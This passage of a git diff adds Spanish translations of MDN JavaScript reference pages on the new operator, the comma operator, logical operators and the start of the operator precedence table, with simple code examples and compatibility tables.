+<pre class="brush: js notranslate">var myCar = new Car('Eagle', 'Talon TSi', 1993);
+</pre>
+
+<p>Esta declaración crea <code>myCar</code> y le asigna los valores especificados para sus propiedades. Entonces el valor de <code>myCar.make</code> es la cadena "Eagle", <code>myCar.year</code> es el entero 1993, y así sucesivamente.</p>
+
+<p>Puedes crear cualquier número de objetos <code>car</code> mediante llamadas a <code>new</code>. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var kensCar = new Car('Nissan', '300ZX', 1992);
+</pre>
+
+<h3 id="Propiedad_del_objeto_que_en_sí_mismo_es_otro_objeto">Propiedad del objeto que en sí mismo es otro objeto</h3>
+
+<p>Supongamos que defines un objeto llamado <code>Person</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>Y luego creas una instancia de dos nuevos objetos <code>Person</code> de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var rand = new Person('Rand McNally', 33, 'M');
+var ken = new Person('Ken Jones', 39, 'M');
+</pre>
+
+<p>Luego, puedes reescribir la definición de <code>Car</code> para incluir una propiedad para <code>owner</code> (propietario en español) que tome un objeto <code>Person</code>, de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>Para crear instancias de los nuevos objetos, utiliza lo siguiente:</p>
+
+<pre class="brush: js notranslate">var car1 = new Car('Eagle', 'Talon TSi', 1993, rand);
+var car2 = new Car('Nissan', '300ZX', 1992, ken);
+</pre>
+
+<p>En lugar de pasar una cadena literal o un valor entero al crear los nuevos objetos, las declaraciones anteriores pasan los objetos <code>rand</code> y <code>ken</code> como parámetros para los propietarios. Para conocer el nombre del propietario de <code>car2</code>, puedes acceder a la siguiente propiedad:</p>
+
+<pre class="brush: js notranslate">car2.owner.name
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-new-operator', 'El operador new')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.operators.new")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Function", "Funciones")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/operador_coma/index.html b/files/es/web/javascript/referencia/operadores/operador_coma/index.html
new file mode 100644
index 0000000000..a62701b3e1
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/operador_coma/index.html
@@ -0,0 +1,132 @@
+---
+title: Operador Coma
+slug: Web/JavaScript/Referencia/Operadores/operador_coma
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/Comma_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador coma evalua cada uno de sus operandos (de izquierda a derecha) y retorna el valor del último operando.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>expr1</em>, <em>expr2, expr3...</em></pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>expr1</code>, <code>expr2, expr3...</code></dt>
+ <dd>Cualquier expresión.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Puede usar el operador coma cuando deseé mútiples expresiones en una localización que requiere una sola expresión. El uso más común de este operador es proveer múltiples parámetros en un búcle for</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Si a es un array de dos dimensiones con 10 elementos en un lado, el siguiente código usa el operador coma para incrementar dos variables a la vez. Note que la coma en la sentencia var <strong>no </strong>es el operador coma, porque no existe adentro de una expresión.Más bien, es un carácter especial en sentencias var para combinar a múltiples de ellas en una sola. Sin embargo, esa coma se comporta casi igual que el operador coma. El código imprime los valores de los elementos diagonales en el array:</p>
+
+<pre class="brush:js;highlight:[1]">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
+  document.writeln("a[" + i + "][" + j + "] = " + a[i][j]);</pre>
+
+<h3 id="Procesar_y_luego_retornar">Procesar y luego retornar:</h3>
+
+<p>Otro ejemplo de lo que se puede hacer con el operador coma es procesar antes de retornar. Como se mencionó, solo el último elemento será retornado pero todos los otros también van a ser evaluados. Así, se puede hacer:</p>
+
+<pre class="brush: js">function myFunc () {
+  var x = 0;
+
+  return (x += 1, x); // the same as return ++x;
+}</pre>
+
+<h2 id="Específicaciones">Específicaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for loop</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/operadores_lógicos/index.html b/files/es/web/javascript/referencia/operadores/operadores_lógicos/index.html
new file mode 100644
index 0000000000..87de8aad6d
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/operadores_lógicos/index.html
@@ -0,0 +1,295 @@
+---
+title: Operadores lógicos
+slug: Web/JavaScript/Referencia/Operadores/Operadores_lógicos
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operadores_lógicos")}}</div>
+
+<p>Los operadores lógicos se usan típicamente con valores {{jsxref("Boolean")}}. En tal caso, regresan un valor Boolean. Sin embargo, los operadores &amp;&amp; y || regresan en realidad el valor de uno de los operandos especificados, por lo que si estos operadores se usan con valores no Boolean, posiblemente regresen un valor no Boolean.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los operadores lógicos se describen en la tabla siguiente:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Operador</th>
+   <th>Uso</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>AND (<code>&amp;&amp;</code>) lógico</td>
+   <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+   <td>
+    <p>Regresa <code>expr1 </code>si tal puede convertirse a false; de lo contrario, regresa <code>expr2</code>. De esta forma, cuando se usa con valores Boolean, &amp;&amp; regresa true si ambos operandos son verdaderos; de lo contrario regresa false.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>OR (<code>||</code>) lógico</td>
+   <td><code><em>expr1</em> || <em>expr2</em></code></td>
+   <td>
+    <p>Regresa<code> expr1</code> si tal puede convertirse a true; de lo contrario, regresa <code>expr2</code>. De esta forma, cuando se usa con valores Boolean, || regresa true si cualquier operando es verdadero; pero si ambos son falsos, regresa "false".</p>
+   </td>
+  </tr>
+  <tr>
+   <td>NOT (<code>!</code>) lógico</td>
+   <td><code>!<em>expr</em></code></td>
+   <td>
+    <p>Regresa false si su único operando puede convertirse a true; de lo contrario, regresa true.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Algunos ejemplos de expresiones que pueden convertirse a false son aquellas que evalúan a null, 0, un string vacío (""), o undefined.</p>
+
+<p>A pesar de que los operadores &amp;&amp; y ||  pueden ser usados con operandos que no son valores Boolean, aún pueden ser considerados como operadores Boolean porque sus valores de regreso siempre pueden convertirse a valores Boolean.</p>
+
+<h3 id="Evaluación_contra_corto_circuitos">Evaluación contra "corto circuitos"</h3>
+
+<p>Ya que las expresiones lógicas son evaluadas de izquierda a derecha, se prueban con una evaluación contra posibles "cortos circuitos" usando las siguientes normas:</p>
+
+<ul>
+ <li><code>false &amp;&amp; (<em>cualquier valor)</em></code> evalúa a "false".</li>
+ <li><code>true || (<em>cualquier valor)</em></code> evalúa a "true".</li>
+</ul>
+
+<p>Las reglas de lógica garantizan que estas evaluaciones siempre son correctas. Se debe notar que la parte de "cualquier valor" en las expresiones anteriores no se evalúa, para que tal acción no afecte de ninguna forma. Además, es de notar que la parte de "cualquier valor" en las expresiones anteriores debe ser cualquier expresión lógica (lo que se indica con los paréntesis).</p>
+
+<p>Por ejemplo, las siguientes dos expresiones son equivalentes.</p>
+
+<pre class="brush: js">function shortCircuitEvaluation() {
+  doSomething() || doSomethingElse()
+}
+
+function equivalentEvaluation() {
+  var flag = doSomething();
+  if (!flag) {
+    doSomethingElse();
+  }
+}
+</pre>
+
+<p>Sin embargo, las siguientes expresiones no son equivalentes debido a la <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">precedencia de operadores</a>, y con tal ejemplo se enfatiza la importancia de que la parte derecha sea una única expresión (agrupada en paréntesis si es necesario).</p>
+
+<pre class="brush: js">false &amp;&amp; true  || true      // regresa true
+false &amp;&amp; (true || true)     // regresa false</pre>
+
+<h3 id="AND_()_lógico"><a name="Logical_AND">AND (<code>&amp;&amp;</code>) lógico</a></h3>
+
+<p>El siguiente código muestra ejemplos del operador &amp;&amp; (AND lógico).</p>
+
+<pre class="brush: js">a1 = true  &amp;&amp; true      // t &amp;&amp; t regresa true
+a2 = true  &amp;&amp; false     // t &amp;&amp; f regresa false
+a3 = false &amp;&amp; true      // f &amp;&amp; t regresa false
+a4 = false &amp;&amp; (3 == 4)  // f &amp;&amp; f regresa false
+a5 = "Cat" &amp;&amp; "Dog"     // t &amp;&amp; t regresa "Dog"
+a6 = false &amp;&amp; "Cat"     // f &amp;&amp; t regresa false
+a7 = "Cat" &amp;&amp; false     // t &amp;&amp; f regresa false
+</pre>
+
+<h3 id="OR_()_lógico"><a name="Logical_OR">OR (<code>||</code>) lógico</a></h3>
+
+<p>El siguiente código muestra ejemplos del operador <code>||</code> (OR lógico).</p>
+
+<pre class="brush: js">o1 = true  || true       // t || t regresa true
+o2 = false || true       // f || t regresa true
+o3 = true  || false      // t || f regresa true
+o4 = false || (3 == 4)   // f || f regresa false
+o5 = "Cat" || "Dog"      // t || t regresa "Cat"
+o6 = false || "Cat"      // f || t regresa "Cat"
+o7 = "Cat" || false      // t || f regresa "Cat"
+</pre>
+
+<h3 id="Logical_NOT_(!)"><a name="Logical_NOT">Logical NOT (<code>!</code>)</a></h3>
+
+<p>El siguiente código muestra ejemplos del operador <code>!</code> (NOT lógico).</p>
+
+<pre class="brush: js">n1 = !true              // !t regresa false
+n2 = !false             // !f regresa true
+n3 = !"Cat"             // !t regresa false
+</pre>
+
+<h3 id="Reglas_de_conversión">Reglas de conversión</h3>
+
+<h4 id="Convertir_de_AND_a_OR">Convertir de AND a OR</h4>
+
+<p>la siguiente operación que involucra Booleans:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; bCondition2</pre>
+
+<p>siempre es igual a:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre>
+
+<h4 id="Convertir_de_OR_a_AND">Convertir de OR a AND</h4>
+
+<p>la siguiente operación que involucra Booleans:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2</pre>
+
+<p>siempre es igual a:</p>
+
+<pre class="brush: js">!(!bCondition1 &amp;&amp; !bCondition2)</pre>
+
+<h4 id="Convertir_entre_operadores_NOT">Convertir entre operadores NOT</h4>
+
+<p>la siguiente operación que involucra Booleans:</p>
+
+<pre class="brush: js">!!bCondition</pre>
+
+<p>siempre es igual a:</p>
+
+<pre class="brush: js">bCondition</pre>
+
+<h3 id="Eliminando_paréntesis_anidados">Eliminando paréntesis anidados</h3>
+
+<p>Ya que las expresiones lógicas son evaluadas de izquierda a derecha, siempre es posible eliminar paréntesis en una expresión compleja, si se siguen ciertas reglas.</p>
+
+<h4 id="Eliminando_operadores_AND_anidados">Eliminando operadores AND anidados</h4>
+
+<p>La siguiente operación compleja que involucra Booleans:</p>
+
+<pre class="brush: js">bCondition1 || (bCondition2 &amp;&amp; bCondition3)</pre>
+
+<p>siempre es igual a:</p>
+
+<pre class="brush: js">bCondition1 || bCondition2 &amp;&amp; bCondition3</pre>
+
+<h4 id="Eliminando_operadores_OR_anidados">Eliminando operadores OR anidados</h4>
+
+<p>La siguiente operación compleja que involucra Booleans:</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; (bCondition2 || bCondition3)</pre>
+
+<p>siempre es igual a:</p>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2 &amp;&amp; !bCondition3)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.11')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>
+    <p>Definido en varias secciones de la especificación: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definido en varias secciones de la especificación: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definido en varias secciones de la especificación: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>AND (<code>&amp;&amp;</code>) lógico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>OR (<code>||</code>) lógico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>NOT (<code>!</code>) lógico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>AND (<code>&amp;&amp;</code>) lógico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>OR (<code>||</code>) lógico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>NOT (<code>!</code>) lógico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Operaciones binarias</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/operator_precedence/index.html b/files/es/web/javascript/referencia/operadores/operator_precedence/index.html
new file mode 100644
index 0000000000..2ff0464afd
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/operator_precedence/index.html
@@ -0,0 +1,297 @@
+---
+title: Precedencia de operadores
+slug: Web/JavaScript/Referencia/Operadores/Operator_Precedence
+tags:
+  - JavaScript
+  - Operator
+  - operator details
+  - operator precedence
+translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>La precedencia de operadores determina el orden en el cual los operadores son evaluados. Los operadores con mayor precedencia son evaluados primero.</p>
+
+<p>Ejemplo:</p>
+
+<pre class="brush: js">3 + 4 * 5 // retorna 23
+</pre>
+
+<p>El operador de multiplicación ("*") tiene una precedencia mas alta que el operador de suma ("+") y por eso sera evaluado primero.</p>
+
+<h2 id="Associativity" name="Associativity">Asociatividad</h2>
+
+<p>La asociatividad determina el orden en el cual los operadores con el mismo nivel de precedencia son procesados. Por ejemplo:</p>
+
+<pre class="brush: js">a OP b OP c
+</pre>
+
+<p>La asociatividad de izquierda a derecha significa que esa expresión es procesada como <code>(a OP b) OP c, </code>mientras que la asociatividad de derecha a izquierda significa que es procesada como a<code> OP (b OP c). </code>Los operadores de asignación tienen asociatividad de derecha a izquierda, por lo que puedes escribir:</p>
+
+<pre class="brush: js">a = b = 5;
+</pre>
+
+<p>para asignar 5 a las dos variables. Esto es porque el operador de asignación retorna el valor que asignó. Primero <code>b</code> es inicializada a 5. Despues <code>a</code> es inicializada al valor de <code>b</code>.</p>
+
+<h2 id="Table" name="Table">Tabla</h2>
+
+<p>La siguiente tabla esta ordenada de la precedencia más alta (0) a la más baja (18).</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Precedencia</th>
+   <th>Tipo de operador</th>
+   <th>Asociatividad</th>
+   <th>Operador</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>grouping</td>
+   <td>n/a</td>
+   <td><code>(</code>…<code>)</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">1</td>
+   <td rowspan="2"><a href="/en-US/docs/JavaScript/Reference/Operators/Member_Operators" title="JavaScript/Reference/Operators/Member_Operators">member</a></td>
+   <td rowspan="2">left-to-right</td>
+   <td>…<code>.<var>…</var></code></td>
+  </tr>
+  <tr>
+   <td>…<code>[<var>…</var>]</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/new" title="JavaScript/Reference/Operators/Special_Operators/new_Operator">new</a></td>
+   <td>n/a</td>
+   <td><code>new</code> … <code>(<var>…</var>)</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">2</td>
+   <td><a href="/en-US/docs/JavaScript/Guide/Functions" title="JavaScript/Reference/Operators/Special_Operators/function_call">function call</a></td>
+   <td>left-to-right</td>
+   <td>…<code>(<var>…</var>)</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/new" title="JavaScript/Reference/Operators/Special_Operators/new_Operator">new</a></td>
+   <td>right-to-left</td>
+   <td><code>new</code> …</td>
+  </tr>
+  <tr>
+   <td rowspan="2">3</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">increment</a></td>
+   <td>n/a</td>
+   <td>…<code>++</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">decrement</a></td>
+   <td>n/a</td>
+   <td>…<code>--</code></td>
+  </tr>
+  <tr>
+   <td rowspan="7">4</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Logical_Operators" title="JavaScript/Reference/Operators/Logical_Operators">logical-not</a></td>
+   <td>right-to-left</td>
+   <td><code>!</code>…</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">bitwise not</a></td>
+   <td>right-to-left</td>
+   <td><code>~</code>…</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">unary +</a></td>
+   <td>right-to-left</td>
+   <td><code>+</code>…</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">unary negation</a></td>
+   <td>right-to-left</td>
+   <td><code>-</code>…</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/typeof" title="JavaScript/Reference/Operators/Special_Operators/typeof_Operator">typeof</a></td>
+   <td>right-to-left</td>
+   <td><code>typeof</code> …</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/void" title="JavaScript/Reference/Operators/Special_Operators/void_Operator">void</a></td>
+   <td>right-to-left</td>
+   <td><code>void</code> …</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/delete" title="JavaScript/Reference/Operators/Special_Operators/delete_Operator">delete</a></td>
+   <td>right-to-left</td>
+   <td><code>delete</code> …</td>
+  </tr>
+  <tr>
+   <td rowspan="3">5</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">multiplication</a></td>
+   <td>left-to-right</td>
+   <td><code>*</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">division</a></td>
+   <td>left-to-right</td>
+   <td><code>/</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">modulus</a></td>
+   <td>left-to-right</td>
+   <td><code>%</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">6</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">addition</a></td>
+   <td>left-to-right</td>
+   <td><code>+</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">subtraction</a></td>
+   <td>left-to-right</td>
+   <td><code>-</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">7</td>
+   <td rowspan="3"><a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">bitwise shift</a></td>
+   <td rowspan="3">left-to-right</td>
+   <td><code>&lt;&lt;</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;&gt;&gt;</code></td>
+  </tr>
+  <tr>
+   <td rowspan="6">8</td>
+   <td rowspan="4"><a href="/en-US/docs/JavaScript/Reference/Operators/Comparison_Operators" title="JavaScript/Reference/Operators/Comparison_Operators">relational</a></td>
+   <td rowspan="4">left-to-right</td>
+   <td><code>&lt;</code></td>
+  </tr>
+  <tr>
+   <td><code>&lt;=</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;=</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/in" title="JavaScript/Reference/Operators/Special_Operators/in_Operator">in</a></td>
+   <td>left-to-right</td>
+   <td><code>in</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/instanceof" title="JavaScript/Reference/Operators/Special_Operators/instanceof_Operator">instanceof</a></td>
+   <td>left-to-right</td>
+   <td><code>instanceof</code></td>
+  </tr>
+  <tr>
+   <td rowspan="4">9</td>
+   <td rowspan="4"><a href="/en-US/docs/JavaScript/Reference/Operators/Comparison_Operators" title="JavaScript/Reference/Operators/Comparison_Operators">equality</a></td>
+   <td rowspan="4">left-to-right</td>
+   <td><code>==</code></td>
+  </tr>
+  <tr>
+   <td><code>!=</code></td>
+  </tr>
+  <tr>
+   <td><code>===</code></td>
+  </tr>
+  <tr>
+   <td><code>!==</code></td>
+  </tr>
+  <tr>
+   <td>10</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">bitwise-and</a></td>
+   <td>left-to-right</td>
+   <td><code>&amp;</code></td>
+  </tr>
+  <tr>
+   <td>11</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">bitwise-xor</a></td>
+   <td>left-to-right</td>
+   <td><code>^</code></td>
+  </tr>
+  <tr>
+   <td>12</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">bitwise-or</a></td>
+   <td>left-to-right</td>
+   <td><code>|</code></td>
+  </tr>
+  <tr>
+   <td>13</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Logical_Operators" title="JavaScript/Reference/Operators/Logical_Operators">logical-and</a></td>
+   <td>left-to-right</td>
+   <td><code>&amp;&amp;</code></td>
+  </tr>
+  <tr>
+   <td>14</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Logical_Operators" title="JavaScript/Reference/Operators/Logical_Operators">logical-or</a></td>
+   <td>left-to-right</td>
+   <td><code>||</code></td>
+  </tr>
+  <tr>
+   <td>15</td>
+   <td><a href="/en-US/docs/JavaScript/Reference/Operators/Special/Conditional_Operator" title="JavaScript/Reference/Operators/Special_Operators/Conditional_Operator">conditional</a></td>
+   <td>right-to-left</td>
+   <td>… <code>?</code> … <code>:</code> …</td>
+  </tr>
+  <tr>
+   <td rowspan="12">16</td>
+   <td rowspan="12"><a href="/en-US/docs/JavaScript/Reference/Operators/Assignment_Operators" title="JavaScript/Reference/Operators/Assignment_Operators">assignment</a></td>
